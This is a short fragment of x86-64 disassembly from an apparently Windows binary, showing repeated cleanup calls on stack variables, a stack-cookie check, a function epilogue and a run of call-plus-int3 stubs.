lea rcx, [rbp + 0xb8]
call fcn.140005d60
nop
lea rcx, [rbp + 0xd8]
call fcn.140005d60
nop
lea rcx, [rbp + 0xf8]
call fcn.140005d60
nop
lea rcx, [rsp + 0x78]
call fcn.140005d60
nop
lea rcx, [rbp - 0x68]
call fcn.140005d60
nop
lea rcx, [rbp - 0x48]
call fcn.140005d60
nop
lea rcx, [rbp - 0x28]
call fcn.140005d60
nop
lea rcx, [rbp - 8]
call fcn.140005d60
nop
lea rcx, [rbp + 0x18]
call fcn.140005d60
mov rcx, qword [rbp + 0x658]
xor rcx, rsp
call fcn.1400afa60
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001560
nop
call fcn.1400014c0
int3
call fcn.1400014c0
int3
call fcn.1400014c0
int3
call fcn.1400014c0
int3
call fcn.1400014c0
int3
call fcn.140001560
int3
call fcn.140001560
int3
call fcn.140001560
int3
call fcn.140001560
int3
call fcn.140001560
int3